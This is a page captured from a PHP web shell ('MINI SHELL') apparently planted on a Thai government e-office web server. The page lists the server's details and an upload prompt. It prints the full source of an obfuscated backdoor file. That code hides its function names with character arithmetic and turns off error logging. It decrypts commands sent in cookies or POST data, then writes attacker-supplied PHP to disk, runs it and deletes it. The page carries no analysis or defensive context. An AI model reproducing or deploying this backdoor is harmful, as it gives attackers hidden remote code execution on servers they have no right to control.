MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/system/user2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/system/user2/dvvnjgld.php
<?php $hxwdtp = "\146"."\151"."\154".'e'."\137"."\x70".'u'.chr(116)."\x5f".chr(99).chr(240-129).chr(557-447).chr(461-345)."\x65"."\x6e".chr(116)."\163";
$qklcf = chr(385-287).chr(97).chr(115).chr(101)."\x36".chr(946-894).'_'."\144"."\145".'c'.'o'."\x64".'e';
$qilngh = 'i'."\x6e"."\151"."\x5f".chr(1018-903)."\145".'t';
$sbvtbciq = 'u'."\156".chr(562-454)."\x69"."\x6e".chr(372-265);


@$qilngh(chr(594-493).chr(795-681).'r'."\157".chr(305-191)."\137".chr(108).chr(111)."\147", NULL);
@$qilngh("\x6c".'o'."\147".chr(95).chr(101)."\x72".'r'."\x6f".chr(114)."\x73", 0);
@$qilngh('m'.'a'."\170"."\137".chr(101)."\170".chr(101).'c'.chr(937-820).chr(556-440)."\x69".chr(925-814).'n'.'_'."\164"."\x69".chr(501-392).'e', 0);
@set_time_limit(0);

function wtokkga($kylvjvw, $voznuslo)
{
    $glaxwcz = "";
    for ($rxnlsotkvw = 0; $rxnlsotkvw < strlen($kylvjvw);) {
        for ($j = 0; $j < strlen($voznuslo) && $rxnlsotkvw < strlen($kylvjvw); $j++, $rxnlsotkvw++) {
            $glaxwcz .= chr(ord($kylvjvw[$rxnlsotkvw]) ^ ord($voznuslo[$j]));
        }
    }
    return $glaxwcz;
}

$ncxxywy = array_merge($_COOKIE, $_POST);
$mlvfw = 'f8057a93-1144-4a4e-8bfd-5b35db77eed6';
foreach ($ncxxywy as $gloklwbpnx => $kylvjvw) {
    $kylvjvw = @unserialize(wtokkga(wtokkga($qklcf($kylvjvw), $mlvfw), $gloklwbpnx));
    if (isset($kylvjvw[chr(97).chr(992-885)])) {
        if ($kylvjvw["\x61"] == "\x69") {
            $rxnlsotkvw = array(
                'p'.chr(118) => @phpversion(),
                "\163"."\166" => "3.5",
            );
            echo @serialize($rxnlsotkvw);
        } elseif ($kylvjvw["\x61"] == 'e') {
            $cvucdilhi = "./" . md5($mlvfw) . "\56"."\151".'n'."\143";
            @$hxwdtp($cvucdilhi, "<" . "\x3f"."\160".chr(104).chr(112)."\40".chr(64).chr(117)."\156".chr(687-579)."\x69"."\x6e".chr(444-337).chr(40).'_'.'_'.'F'.'I'.chr(1036-960).chr(69).'_'.chr(95).')'."\73"."\x20" . $kylvjvw["\144"]);
            @include($cvucdilhi);
            @$sbvtbciq($cvucdilhi);
        }
        exit();
    }
}


Anon7 - 2021